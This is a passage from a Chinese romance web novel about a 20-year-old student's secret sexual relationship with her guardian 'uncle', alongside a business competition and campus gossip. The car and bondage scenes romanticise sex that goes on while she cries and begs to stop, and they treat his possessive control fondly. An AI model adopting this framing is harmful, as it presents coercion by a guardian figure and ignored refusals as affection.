轿车停了下来,沈宴白撑着伞走近,俯身唤道:“叔叔,您回来了。”
单向的玻璃窗并不会令他看见什么,但谢沅还是流了满脸的泪水,她哭着唤道:“不……不要了,求您了。”
“别哭,沅沅,”沈长凛温柔地说道,“你越哭,就越结束不了。”
第18章
谢沅的眼尾湿红,她的手指抚在深色的车窗上。
透过单向的玻璃,她能清晰地看到沈宴白撑伞俯身时的姿态。
明明知道沈宴白是看不见她的,谢沅仍是有一种和沈宴白对上视线的强烈恐惧。
但她不敢再哭了。
谢沅紧咬住唇瓣,浅粉色的樱唇被咬得充血,红得叫人生怜。
她低垂着头,忽而又不住地往后仰。
当沈长凛抚着她的腰身,轻轻帮她理好裙摆的时候,谢沅的身躯仍然不能停止颤抖,刚刚她哭得太厉害,连脸都哭红了。
细白的脸庞染上绯色,像是晕染了烟霞。
眼眶里含着泪,宛若承雪梨花。
沈长凛的衣襟端正,连袖口的褶皱都没有乱,他轻轻地用帕子净手,端方得仿佛才从会议上下来。
见他这幅模样,谢沅的脸庞更红了。
她推开他的手,缩在角落里,带着哭腔说道:“我不要下去了。”
弄得太过,真将人惹生气了。
沈长凛容色温柔,低声哄道:“没事的,沅沅。”
“再不下去,哥哥要等急了。”他轻将谢沅抱在怀里,帮她擦净脸庞,“外面还在下雨呢,你确定要哥哥一直等吗?”
沈长凛的口吻全然是哄孩子的。
谢沅很没有办法,手指捏着裙摆,不断地往下压。
她姿态不稳,下车的时候差些跌倒,沈长凛及时扶住她的腰身,将她抱起,才没有让雨水沾湿她的裙摆。
沈宴白困惑地问道:“谢沅怎么了?”
沈长凛容色如常,轻声说道:“沅沅在机场不小心磕碰到了。”
他将她抱起时,脸上一缕异色都没有。
谢沅的耳根却是禁不住地发烫,但她又不敢说话,怯怯地垂下了头。
沈宴白也听说她之前跌伤的事,并没有多想。
但沈长凛抱起谢沅时的动作太自然了,沈宴白不禁皱了皱眉,他叔叔和谢沅的关系好像有些太近了。
若是七八岁的小姑娘还好。
谢沅都二十岁了。
目光掠到她垂落的细白小腿时,沈宴白忽而又不再多想了。
磕碰得真厉害,膝盖都磨红了,轻微泛着肿意,被雪肤映衬得愈加骇人。
沈宴白眉心拧起,谢沅这么大的人了,怎么还跟个孩子似的,整天不是跌倒就是磕磕碰碰?
她到底是怎么照顾自己的?
沈宴白低声问道:“不会是缺钙了吧?最近怎么总摔着?”
他的话语带着些关切,谢沅心底的羞意却更重了。
她强作平静,怯声说道:“有可能,我会注意的,哥哥。”
“让阿姨多做点补钙的。”沈宴白轻声说道,“实在不行,让医生看看。”
谢沅的脸庞泛着薄粉,她细声说道:“谢谢哥哥。”
她话音刚落,身躯又颤了一下。
在上台阶的时候,男人的指节不经意地擦过她腰侧的掐痕,带着阵阵酥麻之感。
谢沅的手指攥紧,头低低地垂了下来。
她紧咬住樱唇,黛眉细细地皱了皱。
见谢沅似是有些难受,沈宴白也没再多说什么,三人就这样进了门。
他今天也是忙了一天,才从外面回来,进门后沈宴白说道:“叔叔,我先去换个衣服。”
沈长凛微微颔首,没再看向他。
他将谢沅抱到长沙发上,半撩起她的裙摆,亲自取来药箱,给她的柔膝涂了药。
白裙刚刚过膝,垂落的丝带打着蝴蝶结,往上是绸缎编成的纹路。
谢沅的腿是白的,裙子也是白的,只有那些层叠的指痕是红色的,深红和浅红交织在一起,顺着柔膝蔓延,一直隐匿在腿心深处。
她抬起手臂,遮住了眼眸。
沈长凛抚着谢沅的小腿,视线却落在了扶梯上,确认沈宴白的身形消失后,他才轻轻收回了目光。
他自然是愿意沈宴白知道的。
如果不是沈宴白横插一刀,现在谢沅和秦承月早没有任何关系了。
但问题是,谢沅不想沈宴白知道,或者说,不想任何人知道。
帮谢沅上好药后,沈长凛将谢沅轻抱了起来,声音和柔:“抱歉,方才弄疼你了。”
谢沅原本还有些小情绪,听到他这样言语,忽然有些无措。
她羞怯地说道:“没事的,叔叔。”
沈长凛向来寡欲淡漠,很少会那般,或许是因为离开燕城太久了,方才会如此。
其实哪怕他什么都不说,谢沅也总能给他找出理由。
沈长凛揉了揉她的耳尖,轻声说道:“乖。”
简短的一个字,就让谢沅的耳朵红透了,她不太经挑弄,沈长凛每每低声在她耳边说话,她都有些受不了。
但再度抬眸时,叔叔的容色还是那样矜贵。
他将她抱回了楼上,临走时低声说道:“今晚自己睡,沅沅。”
沈长凛飞了十几个小时,还要倒时差。
谢沅乖顺地点点头,他离开后,她抱着薄被坐在床上,安静地发了片刻的呆。
每当四周无声时,背德的禁忌感便会倾压下来。
叔叔应当还不知道,她已经答应秦承月的事……
谢沅凝眸看向天花板,情绪忽而像翻腾的潮水般一点点地满涌上来-
沈长凛平时事情很多,但偶尔也是需要休息的。
尤其是现在沈宴白回国,年岁也渐渐长了,沈家的很多事务已经可以交给他。
跟谢沅每天犹豫吃什么的小烦恼不一样,沈宴白回国后几乎没有休整,就开始忙碌了,他有太多要忧虑上心的事。
沈宴白是学金融的,他的私生活虽然有些风流,但在学业上丝毫不草率。
甚至可以说,优秀得令人生畏。
谢沅也试图了解过沈宴白学的东西,刚打开经济学的外文课本,还没能看完第一个章节,就已经读不下去了。
沈家大少爷的声名,就连圈子外的人都有所耳闻。
再从基层做起就没意思了。
像对待秦承月一样,沈长凛直接给了沈宴白副总经理的位置。
从前总是得空得闲的沈大公子,现在也开始整日忙于工作了,接风洗尘的宴席一直拖着,后来沈宴白干脆大手一挥,说不必了。
谢沅见他早出晚归,颇有些不适应。
这还是她哥哥吗?
沈长凛近日倒是得了空,但他一有空,谢沅就没空了。
落地窗的帘子有很多层,因为外面是山,无人会看到,谢沅很少会拉上帘子,至多会将那一层轻纱似的白帘给关上。
但这些天,每天阖上的都是最厚重的那一层。
室内昼夜都是昏暗的,谢沅几乎有点分不清早晚。
沈长凛再没让她下过楼梯,一日三餐都叫人直接送上来,然后把她抱在腿上,将她每张小嘴都喂饱才满意。
谢沅精神恍惚,很少能寻到思考的空间。
甚至有种被囚禁的错觉。
或许是为了让她能更加专心,沈长凛真的试了试,腕骨被束缚住的时候,谢沅的身躯都紧绷了起来。
她手腕很细,被掐住时都很难挣脱。
更遑论是真的被绑住。
谢沅连细微的挣扎都提不起来,她害怕得厉害,哭着求沈长凛。
他平时温和,但这时候却总是心狠,每次确认她的底线时都会用些手段。
因为如果全听谢沅的,那就完全没办法了,无论沈长凛要做什么,谢沅总是会先含着泪,抬起水眸问道:“叔叔,可不可以不这样?”
沈长凛只能通过她的反应来判断,她是喜欢,还是不喜欢。
他是想要谢沅快乐的。
但她哭得太厉害了,他抚了抚她的手腕,最终还是软了心神。
沈长凛揽住谢沅,将人抱在怀里,轻声哄道:“不哭了,沅沅。”
她的身躯缩成一小团,纤细的小腿垂落,眼尾湿红,唇瓣也肿了起来,哭都没力气再哭。
谢沅靠在沈长凛的怀里,眼皮都沉重得无力抬起。
她的眸里氤氲水雾,眼底都是恍惚的湿意。
好在沈长凛的假期并不长,他离开的那天早晨,谢沅抱着被子坐起身,长长地舒了一口气。
但她不敢叫沈长凛知道,抬眸看向他,细声说道:“那您早些回来。”
沈长凛俯身,轻吻了吻她的额头,淡声说道:“嗯。”
然他一走,谢沅就蒙头睡了起来。
临到十二点,她才脚步虚浮地下了楼,第一次坐回到餐厅里。
谢沅都不敢看向镜中自己的容色,她的眼皮沉重,眼下也有了青影,比考试的那几天瞧着还要倦怠。
万幸沈长凛又忙起来了。
她看了他的行程,大逆不道地心想,他若是能再忙些就好了。
这些并不是能随意如谢沅愿的,但好歹过了段夜夜笙歌的日子后,沈长凛又恢复惯常的寡欲淡漠,偶尔回来时甚至已是深夜。
沈宴白也忙得脚不沾地,有时干脆住在公司。
秦承月给谢沅打过两次电话,说抱歉之前约的音乐会没法陪她去了,最近事务繁忙。
众人的事情都很多,谢沅反倒能放松下来一段。
与此同时,她之前参加的比赛也快要终赛了。
初赛的名次并不紧要,只要能进去就是无所谓的,甚至还有队伍故意掩饰实力,发挥得寻常许多,等到终赛时,才将全部的东西都拿出来。
备赛总是格外耗费心神。
谢沅没空闲再多想其他,端着笔记本和同学整日开网络会议探讨。
跟初赛时只一个人汇报不一样,终赛很复杂,单单流程就繁琐得无以复加。
谢沅为这次比赛是潜心准备过的,她胜负欲并不强,但这次比赛对一起参赛的朋友很重要,她也想好好地夺个冠军回来。
终赛的评委公布后,谢沅仔细地翻看了一遍。
确认没有上次那位林企业家后,她方才松了一口气。
谢沅抱着笔记本坐在岛台边,另一手握着笔改稿,从下午两点一直坐到晚上八点,一字一句地斟酌,连位子都没有挪过片刻。
窗外的花在风中摇曳,夜晚时将暗香送入。
谢沅执着笔思考,轻轻抬起眼眸看了片刻,然后又垂下眼帘。
沈宴白进门的时候,看见的就是她这幅姿态。
他离开时谢沅就坐在这了,现在他回来了,她还坐在这里。
读书对大部分世家子弟来说,不过是镀个金罢了,很少有人会真的上心学习,更别说是为参加什么比赛费神。
女孩的生活就更简单了。
她们不用承担家业,最大的任务就是联姻,每日除却吃吃喝喝,就是看展出游,她们需要操心的是新上的珠宝,是新红的游艇。
或许偶有一二不这样生活的,但那太少见了,而且多是身份相对特殊些的。
深受倚重的独女,才有在男人的天地闯出一隅的权力。
因为只有她们的身后,才会有人愿意不顾一切地保驾护航。
沈宴白倚在门边,静默地看了谢沅片刻。
他知道他应该把道理跟她讲清楚,可看到她那副上心认真的模样,那些话忽然就说不出来了-
谢沅连着忙了几天,晚上也睡得迟,最后两天他们几人干脆聚到了线下,一起实地进行演说。
她口语寻常,负责中文的部分。
冯茜和余温则领了纯英文的部分。
原本是在假期,但几人现在比上课时还要更忙碌。
谢沅点了咖啡和奶茶,分给几位同学,她自己却不敢碰,端着果汁慢慢地喝。
临到最后一晚,众人才终于放松下来。
谢沅靠在软椅上,半阖着眼眸,轻声说道:“肯定没有问题的。”
都是年轻孩子,聊着聊着总不免谈到别的。
余温笑着说道:“沅沅,你说实话,你是不是有男朋友了?之前几回约你都不出来。”
她说的是前几天的事。
谢沅那几天都在床上,沈长凛手腕狠,手段又多,她连着几日,连须臾思考的间隙都寻不到。
每次跟人回消息,都要挑沐浴的时候。
她红着脸摇了摇头:“没有。”
谢沅解释道:“那几天我叔叔回来,是家里有点事情。”
同队的一个男生神色有异,暗里拉住余温的衣袖,不着痕迹地摇了摇头,示意她别再多问。
谢沅本能地有所觉察,却到底没有多想。
她在燕大的同学很少有这个圈子的,也几乎没有人知道她的身份。
就是偶尔有人转发消息的时候,会被熟识的人给认出来。
谢沅低下眼帘,众人一起用过晚餐后,便分手告别。
明日要早起,这几天沈长凛忙,她本来想跟他说一声,但很晚的时候,他还没回来。
于是她只得跟他发了个消息,言说明天要出门。
谢沅坐在长沙发上,轻轻敲着键盘,她只穿了睡裙,灯也只开了两盏。
她没等到沈长凛,却等到了沈宴白。
谢沅有很多各式各样的睡裙,大部分都是白色的,蕾丝落边,勾勒腰身,哪怕她穿得松松垮垮,也照样能将体态衬得窈窕。
她屈着膝,抱着笔记本,腿根的雪肤就那样坦露出来。
听到开门声时,谢沅下意识地就抬起眼眸,还以为是沈长凛回来了。
但门打开以后,她才发觉是沈宴白。
沈宴白喝了点酒,眸色有些暗沉,谢沅遥遥地就能闻嗅到他身上的酒气,她紧忙将腿放下。
他离国太久,现在他回来了,她有时还会忘记家里多了个人。
跟在后面的助理匆匆走近,将沈宴白扶了进来。
见到谢沅,他跟见到救命稻草一样,连声唤道:“大小姐,家里有醒酒的药吗?沈总有些头晕。”
沈宴白的身体其实算不上多好。
他以前就有肺病,胃也不好,然后人还爱抽烟喝酒得很。
谢沅闻声,紧忙起身说道:“有的,稍等一下。”
她去取了醒酒药,顺便把巧克力也拿过来了,然后还给沈宴白倒了杯热水。
沈宴白喝得不多,也没有醉得很过。
喝过药后,他朝助理招了招手:“你回去吧,明早还有事。”
谢沅贴心地站在沈宴白身边,垂眸看他把药喝了,然后又把冰箱里冷藏的巧克力递给他。
沈宴白怕苦这个事,很少有人知道。
但是她知道。
他顺手接过巧克力含在嘴里,片刻后掀起眼皮看向谢沅。
眼见谢沅妥帖地照顾沈宴白,助理也松了一口气,连声说道:“好好好,沈总您也早些休息。”
他离开后,客厅里安静下来。
谢沅把笔记本阖上,低眸看向沈宴白,问道:“哥哥你胃里难受吗?要不要我给家庭医生打电话?”
他平常聚会也会喝酒,但这一回的饮酒量,明显是跟平时不一样的。
好辛苦。
沈宴白都是这种身份了,应酬时还是免不了要喝很多酒。
谢沅很孝敬沈长凛,其实也很孝敬他。
沈宴白对上她的视线,看了她一会儿,须臾轻声说道:“不用,现在好很多了。”
谢沅顿了顿,说道:“哥哥,那你待会儿要是难受了,跟我说也行,我明天没什么事情的。”
之前沈宴白喝到胃出血那次,给她吓坏了。
当时沈长凛还不在,谢沅拨打急救电话的时候,整个人都在抖。
沈宴白侧倚在长沙发上,颔了颔首。
他刚刚喝过醒酒的药,这会儿好像也提不起劲上楼,谢沅想到之前的事,也没有立刻回去。
她一边看稿子和资料,一边还是悄悄联系了家庭医生。
快十一点时,谢沅收拾东西准备上楼,沈宴白已经睡着了,她苦恼地想可能得叫人过来,送他上去了。
正在她打算走去一边讲电话时,沈宴白的手忽然拉住了她的衣袖。
他像是做了噩梦,迷乱地唤道:“别走,沅沅。”
谢沅吓了一跳,她举止无措地站着,动也不敢动,随后才听出来沈宴白唤的是“愿愿”。
沈宴白的前女友实在太多了,连谢沅也不能全记住,但有一个人她再过许多年也不会忘记。
不只是她,圈子内外的人都很难忘记。
明愿。那个曾经甩了沈宴白的姑娘,她也是唯一一个叫沈宴白吃了爱情苦的人。
沈宴白曾经为她一掷千金,只为讨她欢心,也曾将出身平常的她带到过圈子里的聚会中,极尽疼宠上心。
用个时髦点的词来说,明愿或许就是沈宴白的白月光。
这些年沈宴白再也没有提起过她,也不许身边人提起她,很多人都以为明愿已经是过去式了,但事实是,她自始至终都没有离开过沈宴白的心底。
好神奇。
哥哥这么风流的人,竟然也会有刻骨铭心的人。
谢沅执着手机,想要给管家打电话,但眼前模糊得厉害,怎么按都按不准。
水珠滴在屏幕上,更让简单的拨号变得困难-
翌日醒来的时候,沈宴白宿醉得厉害,头痛欲裂,管家紧忙给家庭医生通了电话。
沈长凛过来看他,眉心微皱:“喝了多少?”
沈宴白的神情愣怔,他支着头靠在床上,也不知道在想什么,片刻后才想到回话:“没有很多,叔叔。”
谢沅一大早就出发去比赛了。
沈长凛知道她今天有终赛,特地让陈秘书跟过去了。
谢沅为这个比赛费心了很多天,他没空去看,总要找人帮着看一看的。
不过她也真是好心,自己都那么累了,昨天还一直帮着照看沈宴白。
沈长凛对沈宴白是有亲情的。
但他也不想看到谢沅因为照顾沈宴白,而在看重的比赛上发挥失常,或者有所失利。
“沅沅今天有比赛,昨天还一直照顾你。”沈长凛轻声说道,“你又不喜欢她,下次这种事,就别麻烦她了。”
他的神情沉静,言辞平和。
沈宴白对谢沅多有不喜这件事,沈长凛自然是早就知道。
当初沈宴白为这事,跟他吵了很多次架。
后来沈宴白出国,此事才沉寂下来,不过他假期回国,也很少在家里待。
他看不上眼谢沅,还对她多有厌烦。
但谢沅天真,总觉得待一个人好,那人也会改变看法,沈长凛不想给谢沅这个幻想。
却不想沈宴白听闻后,却是愣怔了片刻:“您说她的比赛是在今天?”
沈长凛微微颔首,轻声说道:“她已经走了。”
沈宴白的头好像更疼了,但沈长凛没再理他,家庭医生到得很快,匆匆地给沈宴白开始看诊。
陈秘书尽职尽责,刚到会场就发了照片过来。
谢沅穿着西装,配上短裙,乌黑的长发束起,看起来柔美又耀眼。
她大多数时候是安静的,柔弱的,但他的沅沅,其实也有很澎湃,很引人瞩目的一面。
沈长凛翻看了翻看,将屏幕按灭。
再抬眼就见沈宴白执着电话,无可耐烦地说道:“你这时候倒是知道着急订婚了?之前早干吗去了?”
他低声说道:“沅沅今天有比赛,已经出门了,你不要跟她打电话。”
沈宴白脾气不好,尤其是身体不爽利的时候。
他能迁怒到所有人的头上。
无须近听,沈长凛就知道电话的另一头是秦承月。
他并不在乎秦承月的事,他只是有些好奇,沈宴白什么时候改口叫谢沅“沅沅”了?
沈长凛的容色依然俊美矜贵,那双色泽稍浅的眼眸里却带着少许深意。
第19章
谢沅昨夜睡得晚,起床时还是很有精神的。
她一大早就出发了,到会场的时间也很早,可谢沅没想到的是,还有很多人比她来得更早。
到底是终赛。
比赛的规格很高,评委也都是商界巨擘,撇开丰厚的奖金和极高的荣誉不说,单是项目能够落地就已经很令人心动了。
谢沅签完名后,陈秘书执着相机给她拍了好几张照片。
她站在高大的展板前,害羞地做了个剪刀的手势。
陈秘书十项全能,连摄影的技术都格外高超,他边翻给谢沅看,边笑着问道:“要不要发社交平台?”
他拍得太好看了。
谢沅看着相机里的自己,都有点不敢认。
她红着脸摇了摇头,说道:“不用了,谢谢小陈叔。”
谢沅性子内敛,很容易害羞,陈秘书没再多言,笑着陪她进会场:“沈总本来想亲自过来的,但今天有点事,实在脱不开身。”
她昨天给沈长凛发消息,第二天早上才见他回。
谢沅还以为他忘记这件事了,没想到他竟然还想亲自过来。
她的脸庞瞬间就烧了起来,连声说道:“没事的,只是小比赛而已,不用麻烦叔叔过来。”
谢沅是参赛选手,进入会场后很快就要和陈秘书分开,但过了很久后,她的脸庞还有些热。
还好叔叔没空。
只要一想到他会在下面看着,她就感觉自己要一个字都说不出来了。
谢沅拿了纸杯,接了少许温水,慢慢地喝着。
她一手拿着平板,一手翻着纸质文稿,还没看多久,几个队友就全都过来了。
大家今次来得都早,冯茜和余温在路上撞见了,两人进来的时候还在笑着对稿。
虽然是终赛,但准备得实在充分,因此众人没有多紧张,谢沅也先放下了文稿,她向后倚靠身子,眉眼弯起:“晚上要出去吗?”
比赛的流程繁琐,时间也漫长,得到下午五点左右才能结束。
余温的手臂撑在谢沅的靠背上,笑着说道:“当然,我已经订好餐厅了。”
她最懂吃喝,所以每次聚餐也都是她负责。
谢沅浅浅地笑了一下:“好。”
她的眉眼温和,声音也细柔,乌发束起来后气质更加出众,耀眼得令人移不开视线。
楚令仪轻推搡了身畔的男友,细眉微皱:“你又看谁呢?”
她身侧的青年收回目光,将她搂过来,不顾众人的视线,吻了吻她的脸颊:“当然是看我们令仪。”
他说话不打草稿,张口就来。
楚令仪皱了皱眉,但脸上还是露出些笑意:“王少就知道逗弄人。”
王显是个典型的富二代,为人带着点风流,生得却还算俊朗,当初追她追得也很上心。
楚令仪从不轻易答应旁人的追求,尤其是校园里的那些学长学弟们,一听闻她母亲是林氏的旁支,看她的眼神都变了。
她可没有接济穷小子,养出一个凤凰男的爱好。
她未来的丈夫,必须是他们这个圈子里的,也只能是他们这个圈子里的。
她有这么好的容色,这么高的学历,凭什么要浪费掉?她要把她身上的所有优势都发挥出来,然后获得最大的利益。
这样想着,楚令仪又抬头看了眼谢沅。
哲学系出来的,性子也沉闷寡言,瞧着像个书呆子,没想到背里和年长那么多的男人有勾结。
还真是人不可貌相。
楚令仪的下颌微抬,又挽住了身边男友的手臂-
正式进场之后,谢沅坐到了席位上。
主办方背景雄厚,会场布置得华美,茶歇也格外精致。
陈秘书坐在后面的观众席,见谢沅进来,他执着相机,跟她遥遥地挥了挥手。
谢沅弯起眉眼,边咬着点心,边又给他摆了个剪刀手的姿势。
观众的席位也要抢,她之前没想着有人会一起过来,陈秘书不知道怎么弄到位子的,而且距离很绝佳,特别适合拍照片。
如果是寻常比赛也就罢了。
这次的终赛很盛大,评委席和观赛的选手都极是厉害,连带观众也都不凡。
观众席衣香鬓影,多的是打扮奢美的妇人。
可虽然这么说,如果沈长凛出手的话,那别说是拿到一张席位,就算包场也是轻轻松松。
谢沅抿了抿唇,不愿再去多想。
比赛很快就正式开始,主持人到场后,氛围更加激烈,单是前期的介绍就已有剑拔弩张之势。
到终赛的都是全国顶尖的队伍,参赛者无一不是骄子中的骄子。
谢沅深呼了一口气,然后慢慢地舒出来。
她的掌心沁汗,哪怕已经做了十分充分的准备,真正来到比赛现场时还是有些紧张。
上午的比赛内容大部分都是英文的。
谢沅的读写还行,听说一直不太好,她坐在下面,听着上面冯茜和余温流利地进行演说,眸子闪得亮亮的。
她们二人的语言功底极强。
有位很挑剔的评委,在她们演说完后,也由衷地称赞了起来。
自由演说过后,还有团队型的辩论,几个小组内部进行PK,场面非常火热。
谢沅集中精力认真去听,虽没有亲身参与,脸庞也激动地热了起来。
冯茜本就很善演说、争论,余温平时瞧着浪荡随性,但关键时刻亦能舌战群儒,连串的长难句下来,观众席的人都在不断拍手。
谢沅听到旁边别的队伍的人吐槽:“我去,这还怎么赢啊?燕大的这支队伍也太变态了吧。”
一上午的时间匆匆流逝,比赛的第一轮和第二轮分数出来时,他们的队伍已经遥遥领先。
下午的第三轮和第四轮如果没有大问题,那么可以说冠军已经提前锁定了。
冯茜和余温满脸都是喜色。
余温更是大手一挥,直接说道:“拿到冠军以后,今晚我请客!”
比赛的冠军对她们二人是最重要的,她们也的确是竭尽全力地在参与。
谢沅笑着说道:“好。”
她性子内敛,每次参与比赛也都是被人带着,但她并不讨厌这样的场合。
一群人,为了一个共同的目标而努力,本来就是一件很振奋的事情。
午间的时候陈秘书也过来了。
余温高兴地从他手里拿到了上午的照片,连声赞叹:“小陈叔,你可太厉害了!这水平都能去做专业摄影师了,保准能赚得瓢满锅满。”
陈秘书但笑不语。
谢沅也害羞地笑了一下。
陈秘书可是沈长凛的秘书,过来帮她照相片已经很屈才了,连她这个一点都不懂商业的人,都知道他的秘书们有多么厉害。
而且沈长凛对下面的人很优渥,他身边的人都很愿意过来照看谢沅。
单是照看谢沅的薪金,都比做专业摄影师要高得多。
余温很爱发照片,挑选了九张就直接发了社交平台。
谢沅执着餐叉,一边用午餐,一边给余温点赞,她刚刚滑过屏幕,一个来电就突然过来了。
看着【沈长凛】三个字,谢沅的手倏然一抖,她匆忙站起身,说道:“抱歉,我要接个电话。”
星级酒店的餐厅很开阔,钢琴声悠扬悦耳。
可多少还是有些嘈杂。
谢沅快步走到廊道,然后按了接听:“叔叔,抱歉,我刚刚在餐厅。”
她的喘息声低低的,透过听筒传进来。
沈长凛指尖掐烟,他站在落地窗边,轻声说道:“没事,我就是想问问,比赛还顺利吗?”
他的身形高挑,拉出来一道矜贵的侧影。
仅仅是那样站着,就能将人的目光全夺走。
“顺利,叔叔。”谢沅乖巧应道,“我们上午的两轮都是第一,而且比第二高了好多。”
她的声音柔软,高兴的情绪隔着遥远的距离,也那么清晰地传了过来。
沈长凛轻笑一声,说道:“我们沅沅真厉害。”
他的话音柔和,带着点宠溺的意味。
饶是谢沅天天听他的声音,耳尖也不由地发烫,她辩解道:“我还没有上场,叔叔,下午才轮到我。”
沈长凛当然知道。
他比谢沅自己都清楚,她做的调研是什么方向,她写的文稿是什么内容。
小孩子难得为一件事这样努力,沈长凛希望她能一切顺利。
谢沅的世界单调乏味,一半是因为她沉静的性子,另一半则是因为他病态的占有欲。
说是不限制她的交往。
但沈长凛不让做的事,就是给谢沅一百个胆子,她也不敢去做,对此他是有些歉然的。
他轻声说道:“那我先预祝沅沅一切顺遂了。”
“是不是还没用餐?”沈长凛声音温柔,“快过去吧,别让朋友们等急了。”
他将烟按灭,视线也从落地窗外收了回来。
谢沅原本是有些紧张的,上午冯茜和余温的表现那样好,她很担心自己下午做不好。
但不知道为什么和沈长凛通完电话后,她的心情渐渐平静了下来。
他讲话是那样的。
会给人以支持和鼓励,却又不会令人感觉有压力。
谢沅每次接到沈长凛电话时都带着些害怕,跟他说完后心境总会要好很多,她捧着手机,柔声说道:“好的,谢谢叔叔。”
她的声音很软,在廊道里微微回响-
谢沅通电话很快,众人都在等她,她回来后方才正式开吃。
主办方提供的茶歇已经很美味,没想到正式的午餐更美味,而且类型非常丰富,连果汁都十分可口。
谢沅吃东西慢,用得也向来不多。
加之下午还有比赛,她喝完果汁后就擦了擦唇,没再多用。
因为要上台,又有录像,平常几乎从不化妆的谢沅也化了淡妆,用过餐后要去补妆。
在家里有化妆师和阿姨们帮忙,在外面她就有些生疏。
好在还有一起陪同的冯茜和余温。
三人一同到了洗手间。
余温捧起谢沅的脸,边帮她涂口红,边笑着说道:“沅沅的嘴唇好像樱桃,以后可别轻易在你男朋友跟前涂,不然该全给你亲没了。”
谢沅的脸庞泛红。
她小声地反驳道:“不会的。”
“不会的?”冯茜找出谢沅话语里的漏洞,“那就是真有男朋友咯?谁呀,竟然偷偷拱了我们沅沅这么好的小白菜?”
谢沅长得好,性格也好。
但大学两年没有一丝绯闻,就仿佛跟异性绝缘似的。
早就有很多人好奇,是什么样的男人能拿下这朵高岭之花了。
谢沅的脸更红了,她细声说道:“真的没有。”
她这么说,冯茜和余温笑得更大声了:“好好好,没有没有。”
谢沅说不过她们,索性不说话了。
帮谢沅补完妆后,三人正欲出去,洗手间里面忽然传来了带着鄙夷的笑声。
“你说真的?”一人略带轻蔑地说道,“燕大这风气真是,啧啧啧。”
“二十出头的小姑娘,找那么大的男人,多半都是有所求吧,”她继续说道,“真是没想到啊,我之前就听说过她,燕大哲学系的,看着挺高冷的,没想到居然那样。”
另一人撇了撇嘴,说道:“谁想得到呢?可能家境不太好吧,燕大有钱人那么多,多少有点心态失衡,那男的我感觉挺有钱的,今天还过来了呢。”
“刚刚我还听见她打电话了,”她笑了一下,“叫叔叔呢,你都不知道多嗲,我是那男的我也得栽。”
方才那人又轻蔑地笑了一声:“他们组分是挺高的,不过我感觉她肯定不行,下午她出场的时候你再给我指指。”
话说到这里,没人听不出来这说的是谁。
谢沅蓦地想起那天余温问起她谈男朋友没有时,同队男生忽然变了的神色。
她的脸色有些白,柔和的眼眸里难得染上怒意。
谢沅捏紧手指,但她刚想回身说什么,一旁的余温已经转身,拽住那刚刚走出洗手间姑娘的衣领。
余温咄咄逼人地说道:“你说谁呢你?”
温思瑜喜欢格斗,谢沅一瞧余温的姿势,就看出她也是个行家。
方才还在夸夸其谈的两人,万万没想到刚说完就撞见了正主,脸上血色尽失,跟见了鬼似的。
但相比余温的暴力和直接,拿着手机录音的冯茜更令人生惧。
她一身西装,容色沉静冷漠,低声说道:“没人告诉你们吗?恶意传谣造谣,诽谤他人名誉,是要承担刑事责任的。”
冯茜是法学院的,比起默默无闻的谢沅,她可要有名得多。
她中学时就参加过几个很有名的节目,而且在社交平台上的粉丝也很众多。
两人吓得面如土色,再没有方才的肆意。
其中一人吓得快要哭出来,连忙说道:“我们不是造谣!我们真不是……我们也是听别人说的。”
消息的传播必然是有根源的。
余温和冯茜还没逼供,那两人就直接招了:“我们也是听你们燕大人说的……商学院的那个院花,都是她说的。”
是楚令仪。
谢沅的唇紧抿着,她都不太认得这个人,也没见过几次面。
就上一次比赛和奶茶店时,跟楚令仪打过照面。
谢沅第一次感觉到气血上涌的怒意,她性格很好,通常不会这样生气。
她声音坚定地说道:“我要去找她。”
谢沅的教养太好,直接跟楚令仪对上肯定要吃亏,而且眼下这档口,说不定是故意让谢沅听见,想要扰乱她的心神呢?
冯茜和余温对视一眼。
毕竟现在最要紧的是下午的比赛。
“别生气,沅沅。”冯茜揽住谢沅,声音沉静,“这个事情我们来处理就行,你下午安心比赛,到时候咱们还要拿第一的。”
余温也紧忙说道:“是啊,沅沅,下午的比赛快开始了。”
第20章
她们说得是对的。
谢沅深吸了一口气,她缓了缓心神,低低地说道:“嗯。”
她也想到了。
眼下这个时间把声音传到她的耳朵边,指不定就是想要影响她下午的比赛。
冯茜揽着谢沅,将她送回到会场,放轻声说道:“上回初赛完就有人暗里乱说,我们都知道小陈叔是你家里叔叔,所以没多管。”
她歉然地说道:“抱歉,应该早点告诉你的。”
谢沅的眉眼低垂着,她摇了摇头,说道:“不是你的错,是他们乱讲。”
她的性子很软,但明辨是非,又很懂得识大体。
连这种事情撞上来,都还是那样的沉静。
冯茜心中酸涩,她俯下身,又帮谢沅理了理额前的发丝,声音坚定地说道:“你好好比赛,沅沅,别想太多,我们肯定是不会让你受委屈的。”
谢沅坐在席位上,眼眶蓦地有些红。
她细声说道:“没事的。”
冯茜离开后,谢沅揉了揉眼眸,然后继续垂下眼睫看文稿。
队伍里的另两个男生负责第四轮,还在外面一起练习,马上就该轮到她这一组了。
准备了很多天,也耗费了许多心血,谢沅不想被情绪影响,在这最后也是最紧要的关头出岔子。
她慢慢地调整呼吸,深吸气,然后再吐气。
等到时间差不多的时候,情绪也渐渐如潮水般消退了下去。
临到上场前,谢沅翻出手机看了一眼,才看到沈长凛给她发的消息。
【一切顺利。】
很简单的四个字,但谢沅心底最后的无措和不安情绪也消逝了。
她轻轻按键,回道:【谢谢叔叔。】
然后谢沅便按灭屏幕,去了候场的地方,巧的是这一轮的分组过后,她跟楚令仪刚巧是临近的,他们队伍上场完以后,便轮到谢沅。
楚令仪的脸色有些不好看。
但见到谢沅进来后,她还是抬起下颌,高扬起了笑容:“真巧啊,你是哲学系的谢沅吧?”
谢沅恍若未闻,她没有看楚令仪一眼,静默地靠坐在小沙发上。
她不想跟楚令仪说话,更不想跟楚令仪虚与委蛇。
等到比赛结束后,她一定会好好处理这件事的。
平白被人泼污水,哪怕是谢沅这样好脾气的人也会动怒,更令她生气的是,他们竟然造谣到了陈秘书的头上。
候场室里还有其他人。
楚令仪面上有些挂不住,她走到谢沅跟前,声音微抬:“你没听见吗?”
她的气势很盛,此刻旁人的目光也看过来了。
谢沅是第一次见到这样的人,做了恶事,然后还正大光明地走到当事人的跟前。
原本她也不能全然确信消息是楚令仪传出来的。
毕竟她们并不熟悉,甚至没有打过几次照面。
但当楚令仪走到她的跟前时,谢沅心想,楚令仪可能真的有林家的血脉。
她掀起眼皮,看了楚令仪一眼:“你想说什么?”
谢沅没有错开视线,直直地望向她。
谁不知道她这个人性子有多软,可和谢沅对上目光时,楚令仪的身躯陡地一颤,倏然想起上回初赛见到舅舅时的情形。
可她舅舅是什么人?谢沅又是什么人?
